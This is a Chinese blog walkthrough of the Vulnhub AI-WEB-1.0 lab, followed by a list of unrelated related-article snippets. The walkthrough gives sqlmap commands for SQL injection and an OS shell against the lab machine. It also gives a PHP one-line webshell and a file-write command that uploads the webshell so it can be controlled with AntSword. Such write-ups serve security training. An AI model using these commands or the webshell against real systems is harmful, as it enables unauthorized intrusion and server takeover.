【Vulnhub靶场AI-WEB-1.0打靶教程】
第一步：查看虚拟机的ip
第二步：扫描ip下开放的80端口
第三步：扫描查到的ip地址下的目录
第四步：访问查到的目录
访问robot.txt
第五步:访问robot.txt显示出的目录
第六步：打开kali终端，使用sqlmap功能
sqlmap -u "http://192.168.189.153/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --dbs --batch
查到数据库名
进行os-shell连接
sqlmap -u "http://192.168.189.153/se3reTdir777/index.php" -data "uid=1%27&Operation=Submit" --os-shell
在kali里面/home/kali/目录下创建一个1.php写入一句话木马。语句如下：
<?php @eval($_POST['pass']);?>
再打开一个终端页面输入命令
sqlmap -u "http://192.168.189.153/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
然后返回之前的终端页面输入命令ls查看目录，看到了木马文件上传成功
第七步：打卡蚁剑访问即可
相关文章：
【Vulnhub靶场AI-WEB-1.0打靶教程】
第一步：查看虚拟机的ip 第二步：扫描ip下开放的80端口 第三步：扫描查到的ip地址下的目录 第四步：访问查到的目录 访问robot.txt 第五步:访问robot.txt显示出的目录 第六步：打开kali终端，使用sqlmap功能 sq…...
html实现酷炫美观的可视化大屏(十种风格示例，附源码)
文章目录 完整效果演示1.蓝色流线风的可视化大屏1.1 大屏效果1.2 大屏代码1.3 大屏下载 2.地图模块风的可视化大屏2.1 大屏效果2.2 大屏代码2.3 大屏下载 3.科技轮动风的可视化大屏3.1 大屏效果3.2 大屏代码3.3 大屏下载 4.蓝色海洋风的可视化大屏4.1 大屏效果4.2 大屏代码4.3 …...
【C++BFS算法 二分查找】2812. 找出最安全路径
本文涉及知识点 CBFS算法 C二分查找 LeetCode2812. 找出最安全路径 给你一个下标从 0 开始、大小为 n x n 的二维矩阵 grid ，其中 (r, c) 表示： 如果 grid[r][c] 1 ，则表示一个存在小偷的单元格 如果 grid[r][c] 0 ，则表示一…...
轻触开关 KH-4.5X4.5X5.5H-STM
品 牌： kinghelm(金航标) 厂家型号： KH-4.5X4.5X5.5H-STM 封装： SMD 商品毛重： 0.317克(g) 包装方式： 编带...
3.redis客户端
1.命令行客户端 在安装redis的时候就已经安装好了，就是redis-cli redis-cli -h 127.0.0.1 -p 6379 -a 123456 -a 表示密码 -h 表示ip，不配置默认为本机 127.0.0.1 -p 表示端口，不配置默认为 6379 进入后可以输入ping，返回pong代表…...
Rust配置国内源，解决安装依赖慢问题
温馨提示：最新内容仅在原文更新。 国内源使用字节的RsProxy https://rsproxy.cn/ 解决rust-analyzer加载时间过长(请参考本文) 配置环境变量 Mac export RUSTUP_DIST_SERVER"https://rsproxy.cn" export RUSTUP_UPDATE_ROOT"https://rsproxy.cn/r…...
AI学习指南机器学习篇- Q学习的参数与调优
AI学习指南机器学习篇- Q学习的参数与调优 在强化学习领域中，Q学习是一种经典的算法，可以用来解决各种问题，包括游戏和机器人控制等。Q学习算法的性能很大程度上取决于一些重要的参数，例如学习率和折扣因子。本文将介绍这些参数的…...
《小迪安全》学习笔记02
域名默认存放目录和IP默认存放目录不一样。 IP地址是WWW文件里的，域名访问是WWW里的一个子目录里的（比如是blog）。 Nmap: Web源码拓展 拿到一个网站的源码，要分析这几个方面↑。 不同类型产生的漏洞类型也不一样 在网站中&…...
C语言：自定义类型进阶（结构体、联合体、枚举）
自定义类型（结构体、联合体、枚举） 一、结构体（一）结构体的内存对齐1、结构体内存对齐规则（1）引子（2）offsetof 宏函数（3）内存对齐原理（4ÿ…...
SPSSAU | 最好最差权重BWM原理及案例实操分析
BWM（best-worse-method，最好最差法）是一种多准则决策方法，由Jafar Rezaei于2015年提出，其通常用于确定决策标准的权重。其原理是比如5个指标，如果以前AHP就需要5个指标两两的相对重要性数据。但是现在简化为…...
docker安装elasticsearch（es）最新版本
docker安装elasticsearch（es） docker官网 https://hub.docker.com/ https://www.cnblogs.com/balloon72/p/13177872.html 1、拉取最新项目elasticsearch docker pull elasticsearch:8.14.3lscpu 查看架构 2、构建环境 mkdir -p /data/elasticsear…...
02 RabbitMQ：下载安装
02 RabbitMQ：下载&安装 1. 下载&安装1.1. 官网1.2. Docker方式1.2.1. 下载镜像1.2.2. 启动1.2.3. 登录验证 1. 下载&安装 1.1. 官网 RabbitMQ: One broker to queue them all | RabbitMQ 1.2. Docker方式 1.2.1. 下载镜像 # docker pull 镜像名称[…...
mmcv库出现No module named ‘mmcv._ext
遇到 "No module named mmcv._ext" 这个错误通常意味着你的 Python 环境中缺少 mmcv 库的扩展模块 _ext。mmcv（MMDetection 训练工具箱的核心库）通常依赖于 _ext 模块来提供一些高性能的操作，这些操作是用 C/C 实现的，并…...
防止xss（跨站脚本攻击）
1、输出数据时进行转义：这是最基本的预防措施。确保在输出数据到HTML时对特殊字符进行适当的转义，以防止它们被解释为HTML或JavaScript代码。PHP中可以使用htmlspecialchars()、strip_tags()、htmlentities函数来实现这一点。 echo htmlspecialchars($d…...
django小型超市库存与销售管理系统-计算机毕业设计源码46608
摘 要 随着信息技术的快速发展，超市库存与销售管理面临着前所未有的挑战与机遇。为了提升超市的运营效率，优化库存管理，并增强销售数据的分析能力，我们基于Django框架设计并开发了一套小型超市库存与销售管理系统。该系统充分利用…...
项目实战_表白墙（简易版）
你能学到什么 一个比较简单的项目：表白墙（简易版），浏览器：谷歌升级版将在下个博客发布 效果如下 正文 说明 我们是从0开始一步一步做这个项目的，里面的各种问题，我也会以第一人称视角来解…...
优化 Spring Boot 项目启动速度：高效管理大量 Bean 注入
个人名片 🎓作者简介：java领域优质创作者 🌐个人主页：码农阿豪 📞工作室：新空间代码工作室（提供各种软件服务） 💌个人邮箱：[2435024119@qq.com] 📱个人微信：15279484656 🌐个人导航网站：www.forff.top 💡座右铭：总有人要赢。为什么不能是我呢？ 专栏导…...
《LeetCode热题100》---＜5.普通数组篇六道＞
本篇博客讲解LeetCode热题100道普通数组篇中的六道题 第一道：最大子数组和（中等） 第二道：合并区间（中等） 第一道：最大子数组和（中等） 法一：贪心算法 class So…...
【Hot100】LeetCode—169. 多数元素
目录 题目1- 思路2- 实现⭐169. 多数元素——题解思路 3- ACM 实现 题目 原题连接：169. 多数元素 1- 思路 定义两个变量 一个是 count：维护当前元素的出现次数一个是 ret ：维护当前元素 思路 遍历整个数组**①如果 count 0 **ÿ…...
专科、本科、研究生是按照什么分类的？
高等教育按照阶段主要分为以下几类 一、专业学位教育 特点：职业导向 专业学位教育是针对特定职业领域的专业培训，如医学、法律、工程等，旨在使学生具备从事相关职业所需的专业知识和实践技能。 实践性 专业学位教育注重实践教学和职业技…...
KubeSphere 容器平台高可用：环境搭建与可视化操作指南
Linux_k8s篇 欢迎来到Linux的世界，看笔记好好学多敲多打，每个人都是大神！ 题目：KubeSphere 容器平台高可用：环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...
IDEA运行Tomcat出现乱码问题解决汇总
最近正值期末周，有很多同学在写期末Java web作业时，运行tomcat出现乱码问题，经过多次解决与研究，我做了如下整理： 原因： IDEA本身编码与tomcat的编码与Windows编码不同导致，Windows 系统控制台…...
)
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学（Elliptic Curve Cryptography）是基于椭圆曲线数学理论的公钥密码系统，由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA，ECC在相同安全强度下密钥更短（256位ECC ≈ 3072位RSA…...
《Qt C++ 与 OpenCV：解锁视频播放程序设计的奥秘》
引言：探索视频播放程序设计之旅 在当今数字化时代，多媒体应用已渗透到我们生活的方方面面，从日常的视频娱乐到专业的视频监控、视频会议系统，视频播放程序作为多媒体应用的核心组成部分，扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上，用户都期望…...
线程与协程
1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指：像函数调用/返回一样轻量地完成任务切换。 举例说明： 当你在程序中写一个函数调用： funcA() 然后 funcA 执行完后返回&…...
基础测试工具使用经验
背景 vtune，perf, nsight system等基础测试工具，都是用过的，但是没有记录，都逐渐忘了。所以写这篇博客总结记录一下，只要以后发现新的用法，就记得来编辑补充一下 perf 比较基础的用法： 先改这…...
【学习笔记】深入理解Java虚拟机学习笔记——第4章 虚拟机性能监控，故障处理工具
第2章 虚拟机性能监控，故障处理工具 4.1 概述 略 4.2 基础故障处理工具 4.2.1 jps:虚拟机进程状况工具 命令：jps [options] [hostid] 功能：本地虚拟机进程显示进程ID（与ps相同），可同时显示主类&#x…...
【JavaSE】多线程基础学习笔记
多线程基础 -线程相关概念 程序（Program） 是为完成特定任务、用某种语言编写的一组指令的集合简单的说:就是我们写的代码 进程 进程是指运行中的程序，比如我们使用QQ，就启动了一个进程，操作系统就会为该进程分配内存…...
wpf在image控件上快速显示内存图像
wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像（比如分辨率3000*3000的图像）的办法，尤其是想把内存中的裸数据（只有图像的数据，不包…...
nnUNet V2修改网络——暴力替换网络为UNet++
更换前，要用nnUNet V2跑通所用数据集，证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构，初步了解要修改的网络，知己知彼，修改起来才能游刃有余。 U-Net存在两个局限，一是网络的最佳深度因应用场景而异，这取决于任务的难度和可用于训练的标注数…...